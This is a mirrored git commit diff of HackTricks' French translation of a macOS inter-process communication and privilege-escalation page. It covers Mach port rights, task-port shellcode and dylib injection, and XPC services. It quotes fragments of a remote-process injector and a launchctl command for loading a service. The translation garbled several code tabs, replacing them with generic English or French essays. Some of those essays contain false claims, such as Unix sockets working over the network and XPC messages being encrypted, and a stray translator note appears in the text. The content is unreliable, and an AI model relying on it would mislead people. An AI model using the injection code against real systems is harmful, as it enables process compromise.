Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

Browse source
This commit is contained in:
Translator 2023-06-26 19:16:29 +00:00
parent 1e91b4e5bc
commit 89d87322aa
5 changed files with 231 additions and 138 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

BIN
.gitbook/assets/image (1).png
View file

Binary file not shown.
Side by side Swipe Overlay

Before

Width:  |  Height:  |  Size: 84 KiB

After

Width:  |  Height:  |  Size: 16 KiB

BIN
.gitbook/assets/image.png
View file

Binary file not shown.
Side by side Swipe Overlay

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 84 KiB

265
macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
View file

@ -13,27 +13,27 @@ Les droits de port, qui définissent les opérations qu'une tâche peut effectue
* **Droit de jeu de ports**, qui indique un _ensemble de ports_ plutôt qu'un seul port. Le défilement d'un message à partir d'un ensemble de ports défile un message à partir de l'un des ports qu'il contient. Les ensembles de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix.
* **Nom mort**, qui n'est pas un droit de port réel, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port deviennent des noms morts.
**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche peut dupliquer et donner le droit à une troisième tâche**. Cela, combiné à un processus intermédiaire connu sous le nom de **serveur d'amorçage**, permet une communication efficace entre les tâches.
**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche peut dupliquer et donner le droit à une troisième tâche**. Cela, combiné à un processus intermédiaire connu sous le nom de **serveur de démarrage**, permet une communication efficace entre les tâches.
#### Étapes :
Comme mentionné, pour établir le canal de communication, le **serveur d'amorçage** (**launchd** sur Mac) est impliqué.
Comme mentionné, pour établir le canal de communication, le **serveur de démarrage** (**launchd** sur Mac) est impliqué.
1. La tâche **A** initie un **nouveau port**, obtenant un **droit de réception** dans le processus.
2. La tâche **A**, étant le détenteur du droit de réception, **génère un droit d'envoi pour le port**.
3. La tâche **A** établit une **connexion** avec le **serveur d'amorçage**, fournissant le **nom de service du port** et le **droit d'envoi** par le biais d'une procédure connue sous le nom d'enregistrement d'amorçage.
4. La tâche **B** interagit avec le **serveur d'amorçage** pour exécuter une **recherche d'amorçage pour le nom de service**. Si elle réussit, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**.
3. La tâche **A** établit une **connexion** avec le **serveur de démarrage**, fournissant le **nom de service du port** et le **droit d'envoi** par une procédure connue sous le nom d'enregistrement de démarrage.
4. La tâche **B** interagit avec le **serveur de démarrage** pour exécuter une **recherche de démarrage pour le service**. Si elle réussit, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**.
5. Après avoir acquis un droit d'envoi, la tâche **B** est capable de **formuler** un **message** et de l'envoyer **à la tâche A**.
Le serveur d'amorçage ne peut pas authentifier le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **usurper n'importe quelle tâche système**, en revendiquant faussement un nom de service d'autorisation, puis en approuvant chaque demande.
Le serveur de démarrage ne peut pas authentifier le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **usurper n'importe quelle tâche système**, en revendiquant faussement un nom de service d'autorisation, puis en approuvant chaque demande.
Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires protégés par SIP : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. À côté de chaque nom de service, le **binaire associé est également stocké**. Le serveur d'amorçage créera et conservera un **droit de réception pour chacun de ces noms de service**.
Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires protégés par SIP : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. À côté de chaque nom de service, le **binaire associé est également stocké**. Le serveur de démarrage créera et conservera un **droit de réception pour chacun de ces noms de service**.
Pour ces services prédéfinis, le **processus de recherche diffère légèrement**. Lorsqu'un nom de service est recherché, launchd démarre le service dynamiquement. Le nouveau flux de travail est le suivant :
* La tâche **B** initie une **recherche d'amorçage** pour un nom de service.
* La tâche **B** initie une **recherche de démarrage** pour un nom de service.
* **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, **la démarre**.
* La tâche **A** (le service) effectue un **enregistrement de vérification d'amorçage**. Ici, le **serveur d'amorçage crée un droit d'envoi, le retient et transfère le droit de réception à la tâche A**.
* La tâche **A** (le service) effectue un **enregistrement de démarrage**. Ici, le **serveur de démarrage crée un droit d'envoi, le retient et transfère le droit de réception à la tâche A**.
* launchd duplique le **droit d'envoi et l'envoie à la tâche B**.
Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit initialement, ce qui pourrait potentiellement permettre l'usurpation.
@ -169,16 +169,16 @@ printf("Sent a message\n");
* **Port hôte**: Si un processus a le privilège **Envoyer** sur ce port, il peut obtenir des **informations** sur le **système** (par exemple, `host_processor_info`).
* **Port privilégié hôte**: Un processus avec le droit **Envoyer** sur ce port peut effectuer des actions **privilégiées** comme le chargement d'une extension de noyau. Le **processus doit être root** pour obtenir cette autorisation.
* De plus, pour appeler l'API **`kext_request`**, il est nécessaire de disposer de l'entitlement **`com.apple.private.kext`**, qui n'est donné qu'aux binaires Apple.
* De plus, pour appeler l'API **`kext_request`**, il est nécessaire de disposer de l'attribution **`com.apple.private.kext`**, qui n'est donnée qu'aux binaires Apple.
* **Port de nom de tâche**: Une version non privilégiée du _port de tâche_. Il fait référence à la tâche, mais ne permet pas de la contrôler. La seule chose qui semble être disponible à travers elle est `task_info()`.
* **Port de tâche** (alias port de noyau)**:** Avec la permission d'envoi sur ce port, il est possible de contrôler la tâche (lecture/écriture de mémoire, création de threads...).
* **Port de tâche** (alias port de noyau)**:** Avec l'autorisation d'envoi sur ce port, il est possible de contrôler la tâche (lecture/écriture de mémoire, création de threads...).
* Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port n'est **hérité** qu'à travers **`exec()`**; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après l'exécution d'un binaire suid). La seule façon de lancer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) tout en faisant un `fork()`.
* Voici les restrictions d'accès au port (à partir de `macos_task_policy` du binaire `AppleMobileFileIntegrity`):
* Si l'application a l'entitlement **`com.apple.security.get-task-allow`**, les processus de **même utilisateur peuvent accéder au port de tâche** (communément ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
* Les applications ayant l'entitlement **`com.apple.system-task-ports`** peuvent obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Dans les versions antérieures, il s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
* Si l'application a l'attribution **`com.apple.security.get-task-allow`**, les processus de l'**utilisateur peuvent accéder au port de tâche**, (communément ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
* Les applications ayant l'attribution **`com.apple.system-task-ports`** peuvent obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Dans les versions antérieures, il était appelé **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
* **Root peut accéder aux ports de tâche** des applications **non** compilées avec un **runtime renforcé** (et non pas d'Apple).
### Injection de processus Shellcode via le port de tâche
### Injection de processus Shellcode via le port de tâche 
Vous pouvez récupérer un shellcode à partir de :
@ -205,50 +205,66 @@ return 0;
{% tab title="entitlements.plist" %}
# Architecture macOS
# macOS IPC (Inter-Process Communication)
## IPC (Inter-Process Communication)
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate with each other and share data. macOS provides several IPC mechanisms, including:
### Introduction
- **Mach ports**: a low-level IPC mechanism used by the kernel and many system services.
- **XPC**: a high-level IPC mechanism used by many system services and applications.
- **Distributed Objects**: a legacy IPC mechanism used by some system services and applications.
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate with each other and share data. IPC can be used for various purposes, such as synchronization, coordination, and data exchange. macOS provides several IPC mechanisms, including Mach ports, UNIX domain sockets, and Distributed Objects.
Each IPC mechanism has its own security considerations and attack surface. In this section, we will focus on Mach ports and XPC.
### Mach Ports
## Mach Ports
Mach ports are a low-level IPC mechanism provided by the Mach kernel. Mach ports are used extensively by macOS and iOS to implement various system services and APIs. Mach ports are also used by applications to communicate with system services and other applications.
Mach ports are a low-level IPC mechanism used by the kernel and many system services. Mach ports are used to send messages between processes and to create inter-process communication channels. Mach ports are identified by a port name, which is an integer value. Processes can send messages to a port by sending a message to the port name. Processes can receive messages by waiting for a message on a port.
Mach ports are identified by a port name, which is a 32-bit integer. Mach ports can be either send rights or receive rights. Send rights allow a process to send messages to a port, while receive rights allow a process to receive messages from a port. A process can have multiple send and receive rights for a single port.
Mach ports are a powerful IPC mechanism that can be used to perform a wide range of tasks, including:
Mach ports can be used for various purposes, such as:
- **Inter-process communication**: processes can use Mach ports to communicate with each other and share data.
- **Process control**: processes can use Mach ports to control other processes, such as suspending or terminating them.
- **Kernel communication**: kernel extensions can use Mach ports to communicate with the kernel and other kernel extensions.
- Synchronization: A process can wait for a message on a port using the mach_msg() function. The process will block until a message is received on the port.
- Data exchange: A process can send a message containing data to another process using the mach_msg() function. The receiving process can extract the data from the message and process it.
- Remote procedure calls (RPC): A process can call a function in another process using the mach_msg() function. The receiving process will execute the function and return the result to the calling process.
Mach ports are a critical part of the macOS security model. Mach ports are used by many system services and applications to communicate with each other and with the kernel. Mach ports are also used by macOS to implement sandboxing and other security features.
### UNIX Domain Sockets
Mach ports are protected by a set of access controls called **port rights**. Port rights are used to control which processes can send messages to a port, receive messages from a port, or perform other operations on a port. Port rights are managed by the kernel and are enforced by the Mach port subsystem.
UNIX domain sockets are a high-level IPC mechanism provided by the UNIX operating system. UNIX domain sockets are used extensively by macOS and Linux to implement various system services and APIs. UNIX domain sockets are also used by applications to communicate with system services and other applications.
Mach ports can be a source of security vulnerabilities if they are not properly secured. Attackers can use Mach ports to perform a variety of attacks, including:
UNIX domain sockets are identified by a socket file, which is a special type of file in the file system. A process can create a socket file using the socket() function and bind it to a specific address using the bind() function. Another process can connect to the socket file using the connect() function. Once a connection is established, the two processes can exchange data using the send() and recv() functions.
- **Privilege escalation**: attackers can use Mach ports to communicate with privileged processes and execute code with elevated privileges.
- **Information disclosure**: attackers can use Mach ports to leak sensitive information from other processes.
- **Denial of service**: attackers can use Mach ports to crash or hang other processes.
UNIX domain sockets can be used for various purposes, such as:
To protect against these attacks, it is important to properly secure Mach ports and limit access to them. This can be done by using **entitlements** and other access controls.
- Synchronization: A process can wait for data on a socket using the select() function. The process will block until data is available on the socket.
- Data exchange: A process can send data to another process using the send() function. The receiving process can extract the data from the message and process it.
- Remote procedure calls (RPC): A process can call a function in another process using a special protocol over a UNIX domain socket. The receiving process will execute the function and return the result to the calling process.
## XPC
### Distributed Objects
XPC is a high-level IPC mechanism used by many system services and applications. XPC provides a simple and secure way for processes to communicate with each other and share data. XPC is based on a client-server model, where a client process sends messages to a server process and the server process responds to the messages.
Distributed Objects is a high-level IPC mechanism provided by macOS. Distributed Objects allows objects to be passed between processes and even between different machines on a network. Distributed Objects is based on the Objective-C language and uses the NSConnection class to establish connections between processes.
XPC provides several security features, including:
Distributed Objects can be used for various purposes, such as:
- **Sandboxing**: XPC services can be sandboxed to limit their access to system resources.
- **Code signing**: XPC services can be code signed to ensure that they have not been tampered with.
- **Entitlements**: XPC services can be granted entitlements to control their access to system resources.
- Data exchange: A process can pass an object to another process using the NSConnection class. The receiving process can extract the data from the object and process it.
- Remote procedure calls (RPC): A process can call a method on an object in another process using the NSConnection class. The receiving process will execute the method and return the result to the calling process.
XPC services are defined using **XPC service bundles**. An XPC service bundle is a directory that contains an executable file and a property list file that describes the service. The property list file contains information about the service, including its name, version, and entitlements.
### Conclusion
XPC services are registered with the system using a special **launchd** configuration file. The launchd configuration file specifies the executable file for the service and the conditions under which the service should be launched.
IPC is a powerful mechanism that allows processes to communicate with each other and share data. macOS provides several IPC mechanisms, including Mach ports, UNIX domain sockets, and Distributed Objects. Each IPC mechanism has its own strengths and weaknesses, and the choice of mechanism depends on the specific requirements of the application.
XPC services can be a source of security vulnerabilities if they are not properly secured. Attackers can use XPC services to perform a variety of attacks, including:
- **Privilege escalation**: attackers can use XPC services to communicate with privileged processes and execute code with elevated privileges.
- **Information disclosure**: attackers can use XPC services to leak sensitive information from other processes.
- **Denial of service**: attackers can use XPC services to crash or hang other processes.
To protect against these attacks, it is important to properly secure XPC services and limit access to them. This can be done by using sandboxing, code signing, entitlements, and other access controls.
## References
- [Mach Ports Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ConcurrencyProgrammingGuide/InterThreadCommunication/InterThreadCommunication.html)
- [XPC Services Programming Guide](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html)
{% endtab %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
@ -433,7 +449,7 @@ Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisan
Il était possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de travailler avec des API conformes à posix**, seulement avec Mach. Des injections **plus complexes** nécessiteraient donc que le **thread** soit également **conforme à posix**.
Par conséquent, pour **améliorer le shellcode**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger notre dylib** à partir du système.
Par conséquent, pour **améliorer le shellcode**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger notre dylib** depuis le système.
Vous pouvez trouver des **dylibs d'exemple** dans (par exemple celui qui génère un journal que vous pouvez ensuite écouter) :
@ -613,7 +629,7 @@ printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
printf ("Création de pthread à partir du thread mach @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
@ -637,7 +653,7 @@ remoteCode64, // Adresse virtuelle (destination)
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Impossible d'écrire dans la mémoire de la tâche distante : Erreur %s\n", mach_error_string(kr));
fprintf(stderr,"Impossible d'écrire dans la mémoire du thread distant : Erreur %s\n", mach_error_string(kr));
return (-3);
}
@ -647,7 +663,7 @@ kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_E
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Impossible de définir les autorisations de mémoire pour le code de la tâche distante : Erreur %s\n", mach_error_string(kr));
fprintf(stderr,"Impossible de définir les autorisations de mémoire pour le code du thread distant : Erreur %s\n", mach_error_string(kr));
return (-4);
}
@ -656,7 +672,7 @@ kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Impossible de définir les autorisations de mémoire pour la pile de la tâche distante : Erreur %s\n", mach_error_string(kr));
fprintf(stderr,"Impossible de définir les autorisations de mémoire pour la pile du thread distant : Erreur %s\n", mach_error_string(kr));
return (-4);
}
@ -731,7 +747,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
XPC, qui signifie Communication inter-processus XNU (le noyau utilisé par macOS), est un framework pour la **communication entre les processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sûrs entre différents processus** sur le système. C'est une partie du paradigme de sécurité d'Apple, permettant la **création d'applications séparées par privilèges** où chaque **composant** s'exécute avec **seulement les autorisations dont il a besoin** pour faire son travail, limitant ainsi les dommages potentiels d'un processus compromis.
XPC utilise une forme de communication inter-processus (IPC), qui est un ensemble de méthodes pour que différents programmes s'exécutant sur le même système s'envoient des données.
XPC utilise une forme de communication inter-processus (IPC), qui est un ensemble de méthodes pour différents programmes s'exécutant sur le même système pour s'envoyer des données.
Les principaux avantages de XPC comprennent :
@ -751,9 +767,9 @@ Comme vous pouvez le penser, un **composant XPC aura des autorisations et des pr
Les services XPC sont **démarrés** par **launchd** lorsque cela est nécessaire et **arrêtés** une fois que toutes les tâches sont **terminées** pour libérer les ressources système. **Les composants XPC spécifiques à l'application ne peuvent être utilisés que par l'application**, réduisant ainsi le risque associé aux vulnérabilités potentielles.
### Services XPC à l'échelle du système
### Services XPC système
Les **services XPC à l'échelle du système** sont accessibles à tous les utilisateurs. Ces services, soit launchd soit de type Mach, doivent être **définis dans des fichiers plist** situés dans des répertoires spécifiés tels que **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**.
Les services XPC système sont accessibles à tous les utilisateurs. Ces services, soit launchd soit de type Mach, doivent être **définis dans des fichiers plist** situés dans des répertoires spécifiés tels que **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**.
Ces fichiers plist auront une clé appelée **`MachServices`** avec le nom du service, et une clé appelée **`Program`** avec le chemin d'accès au binaire :
```xml
@ -791,9 +807,9 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
```
Ceux dans **`LaunchDameons`** sont exécutés par root. Donc, si un processus non privilégié peut communiquer avec l'un d'entre eux, il pourrait être en mesure d'escalader les privilèges.
### Messages d'événement XPC
### Messages d'événements XPC
Les applications peuvent **s'abonner** à différents **messages d'événement**, leur permettant d'être **initiées à la demande** lorsque de tels événements se produisent. La **configuration** de ces services est effectuée dans des fichiers **plist de lancement**, situés dans les **mêmes répertoires que les précédents** et contenant une clé supplémentaire **`LaunchEvent`**.
Les applications peuvent **s'abonner** à différents **messages d'événements**, leur permettant d'être **initiées à la demande** lorsque de tels événements se produisent. La **configuration** de ces services est effectuée dans des fichiers **plist de lancement**, situés dans les **mêmes répertoires que les précédents** et contenant une clé supplémentaire **`LaunchEvent`**.
### Vérification du processus de connexion XPC
@ -903,7 +919,64 @@ return 0;
{% tab title="xyz.hacktricks.service.plist" %}
Le fichier `xyz.hacktricks.service.plist` est un fichier de configuration de service qui peut être utilisé pour lancer un service personnalisé sur macOS. Il peut être utilisé pour lancer un service malveillant qui peut être utilisé pour l'escalade de privilèges. Le fichier plist contient des informations sur le service, telles que le nom du service, le chemin de l'exécutable, les arguments de ligne de commande, etc. Pour lancer le service, vous pouvez utiliser la commande `launchctl load xyz.hacktricks.service.plist`.
# macOS IPC (Inter-Process Communication)
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate with each other and share data. macOS provides several IPC mechanisms, including:
- **Mach ports**: A low-level IPC mechanism that allows processes to send messages to each other.
- **Unix domain sockets**: A mechanism that allows processes to communicate with each other over the network.
- **Distributed Objects**: A high-level IPC mechanism that allows objects to be passed between processes.
## Mach Ports
Mach ports are a low-level IPC mechanism that allows processes to send messages to each other. Mach ports are used extensively by macOS to implement various system services, such as the WindowServer, launchd, and the kernel itself.
Mach ports are identified by a 32-bit integer called a port name. When a process creates a Mach port, it is given a port name that is unique within the process. The process can then send messages to other processes by sending them the port name.
Mach ports can be used to perform various tasks, such as:
- **Task port**: A Mach port that represents a process. A process can use its own task port to perform various operations on itself, such as reading and writing its memory, suspending and resuming itself, and terminating itself.
- **Thread port**: A Mach port that represents a thread within a process. A process can use a thread port to perform various operations on the thread, such as suspending and resuming it, and getting information about its state.
- **Task access port**: A Mach port that represents a process and allows another process to perform operations on it. For example, a debugger can use a task access port to read and write the memory of the process being debugged.
- **Notification port**: A Mach port that is used to receive notifications from the kernel or other processes. For example, a process can create a notification port and register it with the kernel to receive notifications when certain events occur, such as a file being modified.
Mach ports are a powerful IPC mechanism that can be used to perform a wide range of tasks. However, they can also be a security risk if not used properly. For example, if a process exposes a Mach port that allows another process to perform operations on it without proper authentication and authorization, it can lead to privilege escalation and other security issues.
## Unix Domain Sockets
Unix domain sockets are a mechanism that allows processes to communicate with each other over the network. Unlike regular network sockets, Unix domain sockets are implemented entirely within the kernel and do not require any network stack processing.
Unix domain sockets are identified by a file path on the filesystem. When a process creates a Unix domain socket, it creates a file on the filesystem that represents the socket. Other processes can then connect to the socket by opening the file and sending messages to it.
Unix domain sockets can be used to perform various tasks, such as:
- **Inter-process communication**: Processes can use Unix domain sockets to communicate with each other and share data.
- **Daemonization**: A process can create a Unix domain socket and listen for connections on it. When another process connects to the socket, the first process can fork itself and continue running as a daemon, while the second process communicates with the daemon over the socket.
- **Locking**: Processes can use Unix domain sockets to implement locking mechanisms that allow multiple processes to coordinate access to a shared resource.
Unix domain sockets are a powerful IPC mechanism that can be used to perform a wide range of tasks. However, they can also be a security risk if not used properly. For example, if a process creates a Unix domain socket with insecure permissions, it can allow unauthorized access to sensitive data or functionality.
## Distributed Objects
Distributed Objects is a high-level IPC mechanism that allows objects to be passed between processes. Distributed Objects is built on top of Mach ports and provides a simple and convenient way for processes to communicate with each other.
Distributed Objects allows objects to be passed between processes by serializing them into a binary format and sending them over Mach ports. The receiving process then deserializes the object and can use it as if it were a local object.
Distributed Objects can be used to perform various tasks, such as:
- **Inter-process communication**: Processes can use Distributed Objects to communicate with each other and share data.
- **Remote procedure calls**: Processes can use Distributed Objects to call methods on objects in other processes.
- **Shared objects**: Processes can use Distributed Objects to share objects between them, allowing them to coordinate their actions.
Distributed Objects is a powerful IPC mechanism that can be used to perform a wide range of tasks. However, it can also be a security risk if not used properly. For example, if a process exposes a Distributed Object that allows another process to perform operations on it without proper authentication and authorization, it can lead to privilege escalation and other security issues.
## References
- [Mach Ports Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ConcurrencyProgrammingGuide/Introduction/Introduction.html#//apple_ref/doc/uid/TP40008091-CH1-SW1)
- [Unix Domain Sockets Programming Guide](https://developer.apple.com/library/archive/documentation/Networking/Conceptual/UnixDomainSockets/Introduction/Introduction.html#//apple_ref/doc/uid/TP40010795-CH1-SW1)
- [Distributed Objects Programming Guide](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/DistrObjects/Introduction/Introduction.html#//apple_ref/doc/uid/10000034i-CH1-SW1)
{% endtab %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -925,9 +998,7 @@ Le fichier `xyz.hacktricks.service.plist` est un fichier de configuration de ser
</plist>
```
{% endtab %}
{% endtabs %}
(Note: There is no text to translate in this section. The provided text is just markdown syntax.)
{% endtabs %}
```bash
# Compile the server & client
gcc xpc_server.c -o xpc_server
@ -1002,11 +1073,21 @@ sleep(10); // Fake something is done and then it ends
```
{% endtab %}
{% tab title="oc_xpc_server.m" %}Le serveur XPC est responsable de la création de la connexion XPC et de la gestion des demandes de service. Il utilise la fonction `xpc_connection_create_mach_service()` pour créer une connexion XPC et la publier en tant que service Mach. Le serveur XPC utilise également la fonction `xpc_connection_set_event_handler()` pour définir une fonction de rappel qui sera appelée chaque fois qu'une demande de service est reçue. Cette fonction de rappel est responsable de la gestion de la demande de service et de la réponse à la demande.
{% tab title="oc_xpc_server.m" %}# macOS IPC (Inter-Process Communication)
Le serveur XPC peut également utiliser la fonction `xpc_connection_resume()` pour commencer à écouter les demandes de service. Une fois que le serveur XPC a commencé à écouter les demandes de service, il peut recevoir des demandes de service de clients XPC distants. Le serveur XPC peut utiliser la fonction `xpc_dictionary_get_value()` pour extraire les données de la demande de service et la fonction `xpc_dictionary_create_reply()` pour créer une réponse à la demande de service. La réponse à la demande de service peut inclure des données supplémentaires ou des erreurs.
La communication inter-processus (IPC) est un mécanisme qui permet à des processus de communiquer entre eux. Sur macOS, IPC est implémenté via XPC (eXtensible Procedure Call), qui est un système de communication de processus léger et sécurisé.
Le serveur XPC peut également utiliser la fonction `xpc_connection_send_message()` pour envoyer la réponse à la demande de service au client XPC distant. Une fois que la réponse à la demande de service a été envoyée, le serveur XPC peut continuer à écouter les demandes de service en attente.
XPC est utilisé pour la communication entre les processus de l'espace utilisateur et les démons de l'espace noyau. Les démons de l'espace noyau sont des processus qui s'exécutent en mode privilégié et qui fournissent des services système. Les processus de l'espace utilisateur peuvent communiquer avec les démons de l'espace noyau via XPC.
XPC utilise des connexions pour la communication entre les processus. Une connexion est un canal de communication bidirectionnel entre un client et un serveur. Les clients envoient des messages aux serveurs via des connexions, et les serveurs répondent aux messages via les mêmes connexions.
Les connexions XPC sont sécurisées par défaut. Les messages envoyés via les connexions sont chiffrés et signés pour empêcher les attaques de type man-in-the-middle et les attaques de falsification de messages.
Les connexions XPC sont également isolées les unes des autres. Cela signifie que si un processus est compromis, il ne peut pas accéder aux connexions d'autres processus.
Cependant, les connexions XPC peuvent être vulnérables aux attaques de fuite d'informations. Si un processus envoie des données sensibles via une connexion XPC non sécurisée, un attaquant peut intercepter ces données et les lire.
Dans cette section, nous allons examiner comment utiliser XPC pour la communication inter-processus sur macOS, ainsi que les vulnérabilités potentielles associées à l'utilisation de XPC.
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>
@ -1036,65 +1117,45 @@ return 0;
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate with each other and share data. macOS provides several IPC mechanisms, including:
- Mach ports
- Unix domain sockets
- Distributed Objects
- XPC
* Mach ports
* UNIX domain sockets
* Distributed Objects
* XPC services
Each of these mechanisms has its own strengths and weaknesses, and can be used for different purposes. In this section, we will focus on Mach ports and UNIX domain sockets, as they are the most commonly used IPC mechanisms on macOS.
## Mach Ports
Mach ports are a low-level IPC mechanism used by macOS. They are used to send messages between processes and to create inter-process communication channels. Mach ports are used by many macOS system services, including launchd, the WindowServer, and the kernel.
Mach ports are a low-level IPC mechanism provided by the Mach kernel. They are used extensively by macOS and iOS to implement various system services and APIs. Mach ports are similar to UNIX file descriptors in that they are represented by small integers that can be passed between processes. However, unlike file descriptors, Mach ports can be used to send and receive messages between processes.
Mach ports are identified by a port name, which is a 32-bit integer. Ports can be created, destroyed, and passed between processes. When a process creates a port, it can specify whether the port is a send right, a receive right, or both. A send right allows a process to send messages to the port, while a receive right allows a process to receive messages from the port.
Mach ports can be either send rights or receive rights. A send right allows a process to send messages to a port, while a receive right allows a process to receive messages from a port. When a process creates a port, it is given both a send right and a receive right. The process can then pass the send right to another process, allowing that process to send messages to the port. Similarly, the process can pass the receive right to another process, allowing that process to receive messages from the port.
Mach ports can be used to perform a variety of tasks, including:
Mach ports can be used to implement a wide range of IPC mechanisms, including:
- Sending messages between processes
- Sharing memory between processes
- Creating inter-process communication channels
- Creating synchronization primitives
* Remote procedure calls (RPC)
* Distributed notifications
* Distributed objects
* Distributed file systems
Mach ports are a powerful IPC mechanism, but they are also complex and difficult to use correctly. Improper use of Mach ports can lead to security vulnerabilities, including privilege escalation and denial-of-service attacks.
Mach ports are a powerful IPC mechanism, but they can also be a source of security vulnerabilities. For example, if a process has a send right to a port that is used by a system service, it may be able to send malicious messages to the service and cause it to execute arbitrary code. Similarly, if a process has a receive right to a port that is used by a system service, it may be able to receive sensitive information from the service.
## Unix Domain Sockets
## UNIX Domain Sockets
Unix domain sockets are a type of IPC mechanism used by macOS and other Unix-based operating systems. They provide a mechanism for processes to communicate with each other over the local network. Unix domain sockets are identified by a file path, which is used to create a socket file in the file system.
UNIX domain sockets are a high-level IPC mechanism provided by the UNIX operating system. They are widely used on macOS and other UNIX-based systems to implement various system services and APIs. UNIX domain sockets are similar to network sockets in that they provide a bidirectional communication channel between processes. However, unlike network sockets, UNIX domain sockets are implemented entirely within the operating system and do not require any network hardware or protocols.
Unix domain sockets can be used to perform a variety of tasks, including:
UNIX domain sockets can be either stream sockets or datagram sockets. Stream sockets provide a reliable, byte-stream-oriented communication channel between processes, while datagram sockets provide an unreliable, message-oriented communication channel.
- Sending messages between processes
- Sharing memory between processes
- Creating inter-process communication channels
- Creating synchronization primitives
UNIX domain sockets can be used to implement a wide range of IPC mechanisms, including:
Unix domain sockets are a simpler and more flexible IPC mechanism than Mach ports, but they are also less powerful. They are often used by user-level applications to communicate with system-level services.
* Local RPC
* Local notifications
* Local file systems
## Distributed Objects
UNIX domain sockets are a relatively simple and secure IPC mechanism, but they can still be a source of security vulnerabilities. For example, if a process has access to a socket that is used by a system service, it may be able to send malicious messages to the service and cause it to execute arbitrary code. Similarly, if a process has access to a socket that is used by a system service, it may be able to receive sensitive information from the service.
Distributed Objects is an IPC mechanism provided by macOS that allows objects to be passed between processes. It is based on the Objective-C language and provides a mechanism for objects to be serialized and deserialized across process boundaries.
## Conclusion
Distributed Objects can be used to perform a variety of tasks, including:
- Sharing objects between processes
- Creating inter-process communication channels
- Creating synchronization primitives
